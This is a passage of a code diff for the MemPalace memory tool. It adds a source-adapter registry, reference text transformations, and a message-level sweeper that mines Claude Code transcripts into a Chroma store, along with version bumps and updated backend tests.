+    core can swap implementations without changing adapter code.
+    """
+
+    drawer_collection: _CollectionLike
+    knowledge_graph: _KnowledgeGraphLike
+    palace_path: str
+    closet_collection: Optional[_CollectionLike] = None
+    config: Optional[Any] = None
+    adapter_name: str = ""
+    adapter_version: str = ""
+    progress_hooks: list[ProgressHook] = field(default_factory=list)
+
+    # Internal: flag set by :meth:`skip_current_item` and checked by the core
+    # mine loop between yields. Not part of the adapter-facing contract; the
+    # adapter only needs to know that calling :meth:`skip_current_item` stops
+    # drawer emission for the current ``SourceItemMetadata``.
+    _skip_requested: bool = False
+
+    # ------------------------------------------------------------------
+    # Adapter-facing surface
+    # ------------------------------------------------------------------
+
+    def upsert_drawer(self, record: DrawerRecord) -> None:
+        """Persist a ``DrawerRecord`` to the drawer collection.
+
+        Applies the spec-mandated ``adapter_name`` and ``adapter_version``
+        metadata stamps (§5.1) so adapters never need to populate them.
+        """
+        meta = dict(record.metadata)
+        meta.setdefault("source_file", record.source_file)
+        meta.setdefault("chunk_index", record.chunk_index)
+        if self.adapter_name:
+            meta.setdefault("adapter_name", self.adapter_name)
+        if self.adapter_version:
+            meta.setdefault("adapter_version", self.adapter_version)
+        drawer_id = _build_drawer_id(record)
+        self.drawer_collection.upsert(
+            documents=[record.content],
+            ids=[drawer_id],
+            metadatas=[meta],
+        )
+
+    def skip_current_item(self) -> None:
+        """Signal to core that the current ``SourceItemMetadata`` is up-to-date
+        and no drawers should be emitted for it. Core resets the flag after
+        advancing past the item."""
+        self._skip_requested = True
+
+    def emit(self, event: str, **details: Any) -> None:
+        """Invoke each registered progress hook with ``(event, **details)``."""
+        for hook in self.progress_hooks:
+            try:
+                hook(event, **details)
+            except Exception:  # pragma: no cover - hook errors never fail mine
+                import logging
+
+                logging.getLogger(__name__).exception("progress hook failed on %r", event)
+
+
+def _build_drawer_id(record: DrawerRecord) -> str:
+    """Deterministic drawer id: ``<sha256(source_file)[:24]>_<chunk_index>``.
+
+    Matches the shape existing miners rely on (``source_file`` + chunk index
+    pair) while keeping the id chroma-safe (no separators that collide with
+    existing metadata values). 96-bit SHA-256 prefix keeps collision risk
+    negligible across corpora the size of a palace (sha1@64 bits was too
+    close to the birthday bound for large ingests). Adapters that need a
+    different id scheme can bypass :meth:`PalaceContext.upsert_drawer` and
+    write through ``drawer_collection.upsert`` directly.
+    """
+    import hashlib
+
+    digest = hashlib.sha256(record.source_file.encode("utf-8")).hexdigest()[:24]
+    return f"{digest}_{record.chunk_index}"

mempalace/sources/registry.py

@@ -0,0 +1,162 @@
+"""Source adapter registry + entry-point discovery (RFC 002 §3).
+
+Third-party adapters ship as installable packages that declare a
+``mempalace.sources`` entry point::
+
+    # pyproject.toml of mempalace-source-cursor
+    [project.entry-points."mempalace.sources"]
+    cursor = "mempalace_source_cursor:CursorAdapter"
+
+MemPalace discovers them at process start. In-tree tests and local
+development can register manually via :func:`register`. Explicit
+registration wins on name conflict (RFC 002 §3.2).
+
+Unlike storage backends (RFC 001 §3.3), source adapters are never auto-
+detected — the user selects the adapter explicitly via ``--source NAME``
+or config (§3.3). The default when no adapter is named is ``filesystem``
+(to preserve current ``mempalace mine <path>`` behavior).
+"""
+
+from __future__ import annotations
+
+import logging
+from importlib import metadata
+from threading import Lock
+from typing import Type
+
+from .base import BaseSourceAdapter
+
+logger = logging.getLogger(__name__)
+
+_ENTRY_POINT_GROUP = "mempalace.sources"
+_DEFAULT_ADAPTER = "filesystem"
+
+_registry: dict[str, Type[BaseSourceAdapter]] = {}
+_instances: dict[str, BaseSourceAdapter] = {}
+_explicit: set[str] = set()
+_discovered = False
+_lock = Lock()
+
+
+def register(name: str, adapter_cls: Type[BaseSourceAdapter]) -> None:
+    """Register ``adapter_cls`` under ``name``.
+
+    Explicit registration wins over entry-point discovery on conflict (§3.2).
+    """
+    with _lock:
+        _registry[name] = adapter_cls
+        _explicit.add(name)
+        _instances.pop(name, None)
+
+
+def unregister(name: str) -> None:
+    """Remove an adapter registration (primarily for tests)."""
+    with _lock:
+        _registry.pop(name, None)
+        _explicit.discard(name)
+        _instances.pop(name, None)
+
+
+def _discover_entry_points() -> None:
+    global _discovered
+    if _discovered:
+        return
+    with _lock:
+        if _discovered:
+            return
+        try:
+            eps = metadata.entry_points()
+            group = (
+                eps.select(group=_ENTRY_POINT_GROUP)
+                if hasattr(eps, "select")
+                else eps.get(_ENTRY_POINT_GROUP, [])
+            )
+        except Exception:
+            logger.exception("entry-point discovery for %s failed", _ENTRY_POINT_GROUP)
+            group = []
+        for ep in group:
+            if ep.name in _explicit:
+                continue  # explicit registration wins
+            try:
+                cls = ep.load()
+            except Exception:
+                logger.exception("failed to load adapter entry point %r", ep.name)
+                continue
+            if not isinstance(cls, type) or not issubclass(cls, BaseSourceAdapter):
+                logger.warning(
+                    "entry point %r did not resolve to a BaseSourceAdapter subclass (got %r)",
+                    ep.name,
+                    cls,
+                )
+                continue
+            _registry.setdefault(ep.name, cls)
+        _discovered = True
+
+
+def available_adapters() -> list[str]:
+    """Return sorted list of all registered adapter names."""
+    _discover_entry_points()
+    return sorted(_registry.keys())
+
+
+def get_adapter_class(name: str) -> Type[BaseSourceAdapter]:
+    """Return the registered adapter class for ``name``."""
+    _discover_entry_points()
+    try:
+        return _registry[name]
+    except KeyError as e:
+        raise KeyError(f"unknown source adapter {name!r}; available: {available_adapters()}") from e
+
+
+def get_adapter(name: str) -> BaseSourceAdapter:
+    """Return a long-lived instance of the named adapter.
+
+    Instances are cached per-name; repeated calls return the same object.
+    Call :func:`reset_adapters` in tests that need isolation.
+    """
+    _discover_entry_points()
+    with _lock:
+        inst = _instances.get(name)
+        if inst is not None:
+            return inst
+        cls = _registry.get(name)
+        if cls is None:
+            raise KeyError(
+                f"unknown source adapter {name!r}; available: {sorted(_registry.keys())}"
+            )
+        inst = cls()
+        _instances[name] = inst
+        return inst
+
+
+def reset_adapters() -> None:
+    """Close and drop all cached adapter instances (primarily for tests)."""
+    with _lock:
+        for inst in _instances.values():
+            try:
+                inst.close()
+            except Exception:
+                logger.exception("error closing adapter during reset")
+        _instances.clear()
+
+
+def resolve_adapter_for_source(
+    *,
+    explicit: str | None = None,
+    config_value: str | None = None,
+    default: str = _DEFAULT_ADAPTER,
+) -> str:
+    """Resolve the adapter name per RFC 002 §3.3 priority order.
+
+    1. Explicit ``--source`` flag or kwarg
+    2. Per-source config value
+    3. Default (``filesystem``)
+
+    Auto-detection is *intentionally* absent on the read side (§3.3); a
+    directory containing ``.git`` + ``workspaceStorage/`` + an ``mbox`` file
+    is not a signal of user intent.
+    """
+    for candidate in (explicit, config_value):
+        if candidate:
+            return candidate
+    return default

mempalace/sources/transforms.py

@@ -0,0 +1,196 @@
+"""Reference implementations of the reserved content transformations (RFC 002 §1.4).
+
+Every source adapter declares the set of transformations it applies to source
+bytes via ``declared_transformations``. The conformance suite then verifies
+that the adapter's output can be reproduced from the source bytes by applying
+*only* the declared transformations in declaration order, using these
+reference implementations.
+
+Each transformation is a pure function on strings (text content after UTF-8
+decoding). ``utf8_replace_invalid`` is the one that operates on bytes.
+
+The invariant the spec enforces: **no transformation is applied that is not
+declared in the adapter's set**. Adapters with an empty set are byte-preserving
+end-to-end (modulo the initial UTF-8 decode itself, which is captured by
+``utf8_replace_invalid`` when applicable).
+
+Adapters MAY add custom transformations beyond the reserved set; third-party
+names SHOULD be prefixed with the adapter name (``cursor.composer_ordering``).
+Custom transformations MUST expose a reference implementation under
+``mempalace.sources.transforms.<adapter_name>_<transform_name>`` so the
+conformance suite can locate and apply them.
+"""
+
+from __future__ import annotations
+
+import re
+from typing import Protocol, Union
+
+
+class Transformation(Protocol):
+    """Callable signature every reserved transformation conforms to.
+
+    Accepts the current stage of the pipeline — ``bytes`` on input
+    (``utf8_replace_invalid``) or ``str`` after decoding — and returns ``str``.
+    Adapters compose them in declaration order; the first step operates on the
+    original source bytes, every subsequent step on the prior step's output.
+    """
+
+    def __call__(self, data: Union[bytes, str], /) -> str: ...
+
+
+# ---------------------------------------------------------------------------
+# Reserved transformations
+# ---------------------------------------------------------------------------
+
+
+def utf8_replace_invalid(raw: bytes) -> str:
+    """Decode bytes as UTF-8; replace invalid sequences with U+FFFD.
+
+    Equivalent to ``raw.decode("utf-8", errors="replace")``. This is the one
+    reserved transformation that operates on bytes rather than decoded text.
+    """
+    return raw.decode("utf-8", errors="replace")
+
+
+def newline_normalize(text: str) -> str:
+    """Convert CRLF and bare-CR line endings to LF."""
+    return text.replace("\r\n", "\n").replace("\r", "\n")
+
+
+def whitespace_trim(text: str) -> str:
+    """Strip leading and trailing whitespace at the record boundary only."""
+    return text.strip()
+
+
+_RUN_OF_THREE_OR_MORE_BLANK = re.compile(r"(?:\n[ \t]*){3,}\n")
+
+
+def whitespace_collapse_internal(text: str) -> str:
+    """Collapse runs of three or more blank lines to exactly two blank lines.
+
+    A "blank line" here is a line containing only spaces or tabs. Single and
+    double blank-line runs are preserved.
+    """
+    # Normalise inputs before collapsing: turn internal blank lines with
+    # whitespace content into pure \n so the regex matches consistently.
+    lines = text.split("\n")
+    normalised = "\n".join(line if line.strip() else "" for line in lines)
+    return _RUN_OF_THREE_OR_MORE_BLANK.sub("\n\n\n", normalised)
+
+
+def line_trim(text: str) -> str:
+    """Strip leading and trailing whitespace from each individual line."""
+    return "\n".join(line.strip() for line in text.split("\n"))
+
+
+def line_join_spaces(text: str) -> str:
+    """Join adjacent non-blank lines with a single space, preserving paragraph breaks.
+
+    Two lines separated by at least one blank line remain on separate lines;
+    runs of non-blank lines collapse into a single space-separated line.
+    """
+    paragraphs = re.split(r"\n[ \t]*\n", text)
+    joined = [" ".join(line.strip() for line in p.split("\n") if line.strip()) for p in paragraphs]
+    return "\n\n".join(joined)
+
+
+def blank_line_drop(text: str) -> str:
+    """Drop blank lines between non-blank lines, keeping non-blank lines only."""
+    return "\n".join(line for line in text.split("\n") if line.strip())
+
+
+# The following reserved transformations are declared in the spec but are
+# deeply adapter-specific. Rather than guess a single reference implementation
+# now, we provide identity shims that leave the input unchanged when no
+# adapter-specific implementation is available. Adapters that declare these
+# MUST either override with a concrete implementation or provide a namespaced
+# reference under
+# ``mempalace.sources.transforms.<adapter_name>_<transform_name>`` (per the
+# module docstring). The conformance suite looks up the adapter-specific
+# implementation first, falling back to these identity shims only when none
+# exists.
+
+
+def strip_tool_chrome(text: str) -> str:
+    """Adapter-supplied: remove system tags, hook output, tool UI chrome.
+
+    The reference implementation here is intentionally an identity function
+    because the noise patterns differ per transcript format (Claude Code,
+    Codex, ChatGPT, Slack). The conversations adapter, when migrated, will
+    register a concrete reference implementation under
+    ``mempalace.sources.transforms.conversations_strip_tool_chrome``.
+    """
+    return text
+
+
+def tool_result_truncate(text: str) -> str:
+    """Adapter-supplied: head/tail window on tool output with a middle marker."""
+    return text
+
+
+def tool_result_omitted(text: str) -> str:
+    """Adapter-supplied: fully omit some tool outputs (e.g., Read/Edit/Write)."""
+    return text
+
+
+def spellcheck_user(text: str) -> str:
+    """Adapter-supplied: rewrite user turns via autocorrect.
+
+    Requires the optional ``spellcheck`` extra and a tokenizer; the spec does
+    not mandate a specific language model, so the reference is adapter-owned.
+    """
+    return text
+
+
+def synthesized_marker(text: str) -> str:
+    """Adapter-supplied: adapter inserts its own strings (e.g., '[N lines omitted]')."""
+    return text
+
+
+def speaker_role_assignment(text: str) -> str:
+    """Adapter-supplied: multi-party speakers alternately assigned user/assistant."""
+    return text
+
+
+# ---------------------------------------------------------------------------
+# Registry
+# ---------------------------------------------------------------------------
+
+
+# Reserved transformation name → reference implementation.
+# Adapters look up by name to compose a round-trip pipeline during testing.
+# The value conforms to the :class:`Transformation` protocol above; we type
+# it as that Protocol rather than a concrete ``Callable`` so static checkers
+# accept both the bytes→str (``utf8_replace_invalid``) and str→str shapes.
+RESERVED_TRANSFORMATIONS: dict[str, Transformation] = {
+    "utf8_replace_invalid": utf8_replace_invalid,
+    "newline_normalize": newline_normalize,
+    "whitespace_trim": whitespace_trim,
+    "whitespace_collapse_internal": whitespace_collapse_internal,
+    "line_trim": line_trim,
+    "line_join_spaces": line_join_spaces,
+    "blank_line_drop": blank_line_drop,
+    "strip_tool_chrome": strip_tool_chrome,
+    "tool_result_truncate": tool_result_truncate,
+    "tool_result_omitted": tool_result_omitted,
+    "spellcheck_user": spellcheck_user,
+    "synthesized_marker": synthesized_marker,
+    "speaker_role_assignment": speaker_role_assignment,
+}
+
+
+def get_transformation(name: str) -> Transformation:
+    """Resolve a reserved transformation by name.
+
+    Raises :class:`KeyError` if the name is neither reserved nor registered as
+    an adapter-namespaced reference (``<adapter>_<transform>``). Callers
+    looking for adapter-specific references SHOULD ``getattr`` on this module
+    first; this helper only covers the reserved names.
+    """
+    try:
+        return RESERVED_TRANSFORMATIONS[name]
+    except KeyError as e:
+        raise KeyError(
+            f"unknown transformation {name!r}; reserved names: {sorted(RESERVED_TRANSFORMATIONS)}"
+        ) from e

mempalace/split_mega_files.py

@@ -224,7 +224,7 @@ def split_file(filepath, output_dir, dry_run=False):
             print(f"  [{i + 1}/{len(boundaries) - 1}] {name}  ({len(chunk)} lines)")
         else:
             out_path.write_text("".join(chunk), encoding="utf-8")
-            print(f"  ✓ {name}  ({len(chunk)} lines)")
+            print(f"  + {name}  ({len(chunk)} lines)")
 
         written.append(out_path)
 
@@ -290,7 +290,7 @@ def main():
     print(f"  Source:      {src_dir}")
     print(f"  Output:      {output_dir or 'same dir as source'}")
     print(f"  Mega-files:  {len(mega_files)}")
-    print(f"{'─' * 60}\n")
+    print(f"{'-' * 60}\n")
 
     total_written = 0
     for f, n_sessions in mega_files:
@@ -301,11 +301,11 @@ def main():
         if not args.dry_run and written:
             backup = f.with_suffix(".mega_backup")
             f.rename(backup)
-            print(f"  → Original renamed to {backup.name}\n")
+            print(f"  -> Original renamed to {backup.name}\n")
         else:
             print()
 
-    print(f"{'─' * 60}")
+    print(f"{'-' * 60}")
     if args.dry_run:
         print(f"  DRY RUN — would create {total_written} files from {len(mega_files)} mega-files")
     else:

mempalace/sweeper.py

@@ -0,0 +1,347 @@
+#!/usr/bin/env python3
+"""
+sweeper.py — Message-granular miner that catches what the file-level
+primary miners dropped.
+
+Algorithm, per session:
+
+    cursor = max(timestamp of sweeper-written drawers for this session_id)
+    For each user/assistant message in the jsonl:
+        if cursor is not None and message.timestamp < cursor: skip
+        else: upsert a drawer keyed by (session_id, message_uuid)
+
+Properties:
+
+  - Idempotent on its own writes: rerunning is a no-op because drawer
+    IDs are deterministic and existence is pre-checked before counting.
+  - Resume-safe: a crash mid-sweep is recovered on the next run — the
+    cursor advances to the last ingested timestamp and re-attempts at
+    that boundary are de-duped by the deterministic ID.
+  - Tie-break safe: uses ``< cursor`` (not ``<=``), so if multiple
+    messages share the max timestamp and only some were ingested, the
+    rest are still picked up on re-run.
+  - No size caps: each drawer holds one exchange, ~1-5 KB.
+
+Coordination with the primary file-level miners (``miner.py`` /
+``convo_miner.py``) is limited: those miners chunk at a fixed char size
+and do not currently stamp ``session_id``/``timestamp`` metadata that
+the sweeper can key off. In practice the sweeper coordinates with its
+own prior runs, and may ingest content that also got chunked into
+primary-miner drawers (under different IDs). Follow-up: add uniform
+``ingest_mode`` + message metadata to the primary miners so dedup spans
+both paths.
+
+Usage:
+    from mempalace.sweeper import sweep
+    result = sweep("/path/to/session.jsonl", "/path/to/palace")
+"""
+
+from __future__ import annotations
+
+import json
+import logging
+import sys
+from datetime import datetime
+from pathlib import Path
+from typing import Iterator, Optional
+
+from .palace import get_collection
+
+logger = logging.getLogger(__name__)
+
+
+# ── JSONL parsing ────────────────────────────────────────────────────
+
+
+def _flatten_content(content) -> str:
+    """Normalize Claude Code's message content to a plain string.
+
+    User messages are strings already; assistant messages are a list of
+    content blocks like [{"type": "text", "text": "..."}, {"type":
+    "tool_use", ...}]. All blocks are preserved verbatim — the design
+    principle is "verbatim always", so tool inputs and results are
+    serialized in full, never truncated.
+    """
+    if isinstance(content, str):
+        return content
+    if isinstance(content, list):
+        parts = []
+        for block in content:
+            if not isinstance(block, dict):
+                continue
+            btype = block.get("type", "")
+            if btype == "text":
+                parts.append(block.get("text", ""))
+            elif btype == "tool_use":
+                parts.append(
+                    f"[tool_use: {block.get('name', '?')} "
+                    f"input={json.dumps(block.get('input', {}), default=str)}]"
+                )
+            elif btype == "tool_result":
+                parts.append(f"[tool_result: {json.dumps(block.get('content', ''), default=str)}]")
+            else:
+                parts.append(f"[{btype}: {json.dumps(block, default=str)}]")
+        return "\n".join(p for p in parts if p)
+    return str(content)
+
+
+def parse_claude_jsonl(path: str) -> Iterator[dict]:
+    """Yield user/assistant records from a Claude Code .jsonl file.
+
+    Each yield is:
+        {
+          "session_id": str,
+          "uuid":       str,   # per-message UUID
+          "timestamp":  str,   # ISO 8601
+          "role":       "user" | "assistant",
+          "content":    str,   # flattened text
+        }
+
+    Non-message records (progress, file-history-snapshot, system,
+    queue-operation, last-prompt) are filtered out. Malformed lines are
+    skipped silently — data quality is the transcript writer's problem,
+    not ours.
+    """
+    with open(path, "r", encoding="utf-8", errors="replace") as f:
+        for line in f:
+            line = line.strip()
+            if not line:
+                continue
+            try:
+                record = json.loads(line)
+            except json.JSONDecodeError:
+                continue
+            rtype = record.get("type")
+            if rtype not in ("user", "assistant"):
+                continue
+            msg = record.get("message") or {}
+            if not isinstance(msg, dict):
+                continue
+            role = msg.get("role")
+            if role not in ("user", "assistant"):
+                continue
+            timestamp = record.get("timestamp")
+            if not timestamp:
+                continue
+            uuid = record.get("uuid")
+            if not uuid:
+                continue
+            session_id = record.get("sessionId") or record.get("session_id")
+            if not session_id:
+                continue
+            content = _flatten_content(msg.get("content", ""))
+            if not content.strip():
+                continue
+            yield {
+                "session_id": session_id,
+                "uuid": uuid,
+                "timestamp": timestamp,
+                "role": role,
+                "content": content,
+            }
+
+
+# ── Cursor resolution ────────────────────────────────────────────────
+
+
+def get_palace_cursor(collection, session_id: str) -> Optional[str]:
+    """Return the max timestamp of drawers for this session_id, or None.
+
+    ISO-8601 strings compare lexically in the right order, so we don't
+    need to parse them. Query scans metadatas for the session via the
+    backend's where-filter, then reduces.
+
+    Backend errors are logged at WARNING and surface as a `None` cursor —
+    which makes the caller treat the session as empty and ingest every
+    message. That's intentional: a no-cursor sweep is recovered from on
+    the next run by deterministic drawer IDs, so a degraded cursor never
+    causes silent data loss.
+    """
+    try:
+        data = collection.get(
+            where={"session_id": session_id},
+            include=["metadatas"],
+        )
+    except Exception as exc:
+        logger.warning(
+            "sweeper: cursor lookup failed for session_id=%s (%s); "
+            "treating as empty — drawers will be re-upserted idempotently.",
+            session_id,
+            exc,
+        )
+        return None
+    metas = data.get("metadatas") or []
+    timestamps = [m.get("timestamp") for m in metas if m and m.get("timestamp")]
+    if not timestamps:
+        return None
+    return max(timestamps)
+
+
+# ── Sweep ────────────────────────────────────────────────────────────
+
+
+def _drawer_id_for_message(session_id: str, message_uuid: str) -> str:
+    """Deterministic drawer ID so upserts at the same message are no-ops.
+
+    Uses the full session_id (not a prefix) to avoid any cross-session
+    collision risk if a transcript source ever uses non-UUID session
+    identifiers or shares prefixes across sessions.
+    """
+    return f"sweep_{session_id}_{message_uuid}"
+
+
+def sweep(jsonl_path: str, palace_path: str, source_label: Optional[str] = None) -> dict:
+    """Ingest every user/assistant message not already represented.
+
+    For each message in the jsonl:
+      - If timestamp < cursor for that session, skip (strictly earlier
+        than anything already in the palace — already covered).
+      - At timestamp == cursor we do NOT skip, because multiple messages
+        can share the same ISO-8601 timestamp; if only some of them were
+        ingested before a crash, a `<= cursor` skip would lose the rest
+        forever. Deterministic drawer IDs make re-attempting at the
+        cursor boundary safe (existing rows are found via a pre-flight
+        `get(ids=...)` and counted as "already present", not "added").
+      - Else, upsert a drawer with deterministic ID so reruns dedupe.
+
+    Returns ``{drawers_added, drawers_already_present, drawers_skipped,
+    drawers_upserted, cursor_by_session}``:
+
+    * ``drawers_added`` — rows that did not exist before this sweep.
+    * ``drawers_already_present`` — rows whose deterministic ID was
+      already in the palace and got rewritten idempotently.
+    * ``drawers_skipped`` — records skipped by the cursor (strictly
+      earlier than what's already stored).
+    * ``drawers_upserted`` — total writes = added + already_present.
+    """
+    collection = get_collection(palace_path, create=True)
+    cursors: dict = {}
+
+    drawers_added = 0
+    drawers_already_present = 0
+    drawers_skipped = 0
+
+    batch_ids: list[str] = []
+    batch_docs: list[str] = []
+    batch_metas: list[dict] = []
+    BATCH_SIZE = 64
+
+    def _flush():
+        nonlocal drawers_added, drawers_already_present
+        if not batch_ids:
+            return
+        # Pre-flight: which IDs in this batch are already present?
+        # Upsert is idempotent on data but counts as "added" would lie;
+        # this pre-query makes the metric honest (Copilot PR 998 review).
+        try:
+            existing = collection.get(ids=list(batch_ids), include=[])
+            # Chroma returns a dict; typed backends return GetResult — the
+            # compat shim makes ``.get("ids")`` work on both.
+            present = set(existing.get("ids") or [])
+        except Exception as exc:
+            logger.warning(
+                "sweeper: existence pre-check failed (%s); "
+                "counting all batch rows as new (metric may over-count on reruns).",
+                exc,
+            )
+            present = set()
+        new_count = sum(1 for rid in batch_ids if rid not in present)
+        already_count = len(batch_ids) - new_count
+
+        collection.upsert(
+            ids=batch_ids,
+            documents=batch_docs,
+            metadatas=batch_metas,
+        )
+        drawers_added += new_count
+        drawers_already_present += already_count
+        batch_ids.clear()
+        batch_docs.clear()
+        batch_metas.clear()
+
+    for rec in parse_claude_jsonl(jsonl_path):
+        sid = rec["session_id"]
+        if sid not in cursors:
+            cursors[sid] = get_palace_cursor(collection, sid)
+
+        cursor = cursors[sid]
+        if cursor is not None and rec["timestamp"] < cursor:
+            drawers_skipped += 1
+            continue
+
+        drawer_id = _drawer_id_for_message(sid, rec["uuid"])
+        document = f"{rec['role'].upper()}: {rec['content']}"
+        metadata = {
+            "session_id": sid,
+            "timestamp": rec["timestamp"],
+            "message_uuid": rec["uuid"],
+            "role": rec["role"],
+            "source_file": source_label or jsonl_path,
+            "filed_at": datetime.now().isoformat(),
+            "ingest_mode": "sweep",
+        }
+
+        batch_ids.append(drawer_id)
+        batch_docs.append(document)
+        batch_metas.append(metadata)
+
+        if len(batch_ids) >= BATCH_SIZE:
+            _flush()
+
+    _flush()
+
+    return {
+        "drawers_added": drawers_added,
+        "drawers_already_present": drawers_already_present,
+        "drawers_upserted": drawers_added + drawers_already_present,
+        "drawers_skipped": drawers_skipped,
+        "cursor_by_session": cursors,
+    }
+
+
+def sweep_directory(dir_path: str, palace_path: str) -> dict:
+    """Sweep every .jsonl file in a directory (recursive).
+
+    Returns aggregated summary across all files. ``files_attempted``
+    includes files that raised, so the count reflects discovery rather
+    than only successes; ``files_succeeded`` is the subset that
+    completed without error.
+    """
+    dir_p = Path(dir_path).expanduser().resolve()
+    files = sorted(dir_p.rglob("*.jsonl"))
+
+    total_added = 0
+    total_already_present = 0
+    total_skipped = 0
+    per_file = []
+
+    failures: list[dict] = []
+    for f in files:
+        try:
+            result = sweep(str(f), palace_path, source_label=str(f))
+        except Exception as exc:
+            logger.error("sweeper: sweep failed on %s: %s", f, exc)
+            print(f"  WARNING: sweep failed on {f}: {exc}", file=sys.stderr)
+            failures.append({"file": str(f), "error": str(exc)})
+            continue
+        total_added += result["drawers_added"]
+        total_already_present += result.get("drawers_already_present", 0)
+        total_skipped += result["drawers_skipped"]
+        per_file.append(
+            {
+                "file": str(f),
+                "added": result["drawers_added"],
+                "already_present": result.get("drawers_already_present", 0),
+                "skipped": result["drawers_skipped"],
+            }
+        )
+
+    return {
+        "files_attempted": len(files),
+        "files_succeeded": len(per_file),
+        "drawers_added": total_added,
+        "drawers_already_present": total_already_present,
+        "drawers_skipped": total_skipped,
+        "per_file": per_file,
+        "failures": failures,
+    }

mempalace/version.py

@@ -1,3 +1,3 @@
 """Single source of truth for the MemPalace package version."""
 
-__version__ = "3.3.1"
+__version__ = "3.3.3"

pyproject.toml

@@ -1,6 +1,6 @@
 [project]
 name = "mempalace"
-version = "3.3.1"
+version = "3.3.3"
 description = "Give your AI a memory — mine projects and conversations into a searchable palace. No API key required."
 readme = "README.md"
 requires-python = ">=3.9"
@@ -21,12 +21,15 @@ classifiers = [
     "Programming Language :: Python :: 3.10",
     "Programming Language :: Python :: 3.11",
     "Programming Language :: Python :: 3.12",
+    "Programming Language :: Python :: 3.13",
+    "Programming Language :: Python :: 3.14",
     "Topic :: Scientific/Engineering :: Artificial Intelligence",
     "Topic :: Utilities",
 ]
 dependencies = [
-    "chromadb>=0.5.0",
+    "chromadb>=1.5.4,<2",
     "pyyaml>=6.0,<7",
+    "tomli>=2.0.0; python_version < '3.11'",
 ]
 
 [project.urls]
@@ -36,6 +39,16 @@ Repository = "https://github.com/MemPalace/mempalace"
 
 [project.scripts]
 mempalace = "mempalace.cli:main"
+mempalace-mcp = "mempalace.mcp_server:main"
+
+[project.entry-points."mempalace.backends"]
+chroma = "mempalace.backends.chroma:ChromaBackend"
+
+# RFC 002 source-adapter entry-point group. Core publishes no first-party
+# adapters under this group yet; ``miner.py`` and ``convo_miner.py`` migrate
+# onto ``BaseSourceAdapter`` in a follow-up PR. Third-party adapter packages
+# (``mempalace-source-cursor``, ``mempalace-source-git``, …) register here.
+[project.entry-points."mempalace.sources"]
 
 [project.optional-dependencies]
 dev = ["pytest>=7.0", "pytest-cov>=4.0", "ruff>=0.4.0", "psutil>=5.9"]

tests/test_backends.py

@@ -1,14 +1,42 @@
+import os
 import sqlite3
 
 import chromadb
 import pytest
 
-from mempalace.backends.chroma import ChromaBackend, ChromaCollection, _fix_blob_seq_ids
+from mempalace.backends import (
+    GetResult,
+    PalaceRef,
+    QueryResult,
+    UnsupportedFilterError,
+    available_backends,
+    get_backend,
+)
+from mempalace.backends.chroma import (
+    ChromaBackend,
+    ChromaCollection,
+    _fix_blob_seq_ids,
+    quarantine_stale_hnsw,
+)
 
 
 class _FakeCollection:
-    def __init__(self):
+    """Stand-in for a chromadb.Collection returning raw chroma-shaped dicts."""
+
+    def __init__(self, query_response=None, get_response=None, count_value=7):
         self.calls = []
+        self._query_response = query_response or {
+            "ids": [["a", "b"]],
+            "documents": [["da", "db"]],
+            "metadatas": [[{"wing": "w1"}, {"wing": "w2"}]],
+            "distances": [[0.1, 0.2]],
+        }
+        self._get_response = get_response or {
+            "ids": ["a"],
+            "documents": ["da"],
+            "metadatas": [{"wing": "w1"}],
+        }
+        self._count_value = count_value
 
     def add(self, **kwargs):
         self.calls.append(("add", kwargs))
@@ -16,41 +44,251 @@ class _FakeCollection:
     def upsert(self, **kwargs):
         self.calls.append(("upsert", kwargs))
 
+    def update(self, **kwargs):
+        self.calls.append(("update", kwargs))
+
     def query(self, **kwargs):
         self.calls.append(("query", kwargs))
-        return {"kind": "query"}
+        return self._query_response
 
     def get(self, **kwargs):
         self.calls.append(("get", kwargs))
-        return {"kind": "get"}
+        return self._get_response
 
     def delete(self, **kwargs):
         self.calls.append(("delete", kwargs))
 
     def count(self):
         self.calls.append(("count", {}))
-        return 7
+        return self._count_value
 
 
-def test_chroma_collection_delegates_methods():
+def test_chroma_collection_returns_typed_query_result():
+    fake = _FakeCollection()
+    collection = ChromaCollection(fake)
+
+    result = collection.query(query_texts=["q"])
+
+    assert isinstance(result, QueryResult)
+    assert result.ids == [["a", "b"]]
+    assert result.documents == [["da", "db"]]
+    assert result.metadatas == [[{"wing": "w1"}, {"wing": "w2"}]]
+    assert result.distances == [[0.1, 0.2]]
+    assert result.embeddings is None
+
+
+def test_chroma_collection_returns_typed_get_result():
+    fake = _FakeCollection()
+    collection = ChromaCollection(fake)
+
+    result = collection.get(where={"wing": "w1"})
+
+    assert isinstance(result, GetResult)
+    assert result.ids == ["a"]
+    assert result.documents == ["da"]
+    assert result.metadatas == [{"wing": "w1"}]
+
+
+def test_query_result_empty_preserves_outer_dimension():
+    empty = QueryResult.empty(num_queries=2)
+    assert empty.ids == [[], []]
+    assert empty.documents == [[], []]
+    assert empty.distances == [[], []]
+    assert empty.embeddings is None
+
+
+def test_typed_results_support_dict_compat_access():
+    """Transitional compat shim per base.py — retained until callers migrate to attrs."""
+    result = GetResult(ids=["a"], documents=["da"], metadatas=[{"w": 1}])
+    assert result["ids"] == ["a"]
+    assert result.get("documents") == ["da"]
+    assert result.get("missing", "default") == "default"
+    assert "ids" in result
+    assert "missing" not in result
+
+
+def test_chroma_collection_query_empty_result_preserves_outer_shape():
+    fake = _FakeCollection(
+        query_response={"ids": [], "documents": [], "metadatas": [], "distances": []}
+    )
+    collection = ChromaCollection(fake)
+
+    result = collection.query(query_texts=["q1", "q2"])
+    assert result.ids == [[], []]
+    assert result.documents == [[], []]
+    assert result.distances == [[], []]
+
+
+def test_chroma_collection_rejects_unknown_where_operator():
+    fake = _FakeCollection()
+    collection = ChromaCollection(fake)
+
+    with pytest.raises(UnsupportedFilterError):
+        collection.query(query_texts=["q"], where={"$regex": "foo"})
+
+
+def test_chroma_collection_delegates_writes():
     fake = _FakeCollection()
     collection = ChromaCollection(fake)
 
     collection.add(documents=["d"], ids=["1"], metadatas=[{"wing": "w"}])
     collection.upsert(documents=["u"], ids=["2"], metadatas=[{"room": "r"}])
-    assert collection.query(query_texts=["q"]) == {"kind": "query"}
-    assert collection.get(where={"wing": "w"}) == {"kind": "get"}
     collection.delete(ids=["1"])
     assert collection.count() == 7
 
-    assert fake.calls == [
-        ("add", {"documents": ["d"], "ids": ["1"], "metadatas": [{"wing": "w"}]}),
-        ("upsert", {"documents": ["u"], "ids": ["2"], "metadatas": [{"room": "r"}]}),
-        ("query", {"query_texts": ["q"]}),
-        ("get", {"where": {"wing": "w"}}),
-        ("delete", {"ids": ["1"]}),
-        ("count", {}),
-    ]
+    kinds = [call[0] for call in fake.calls]
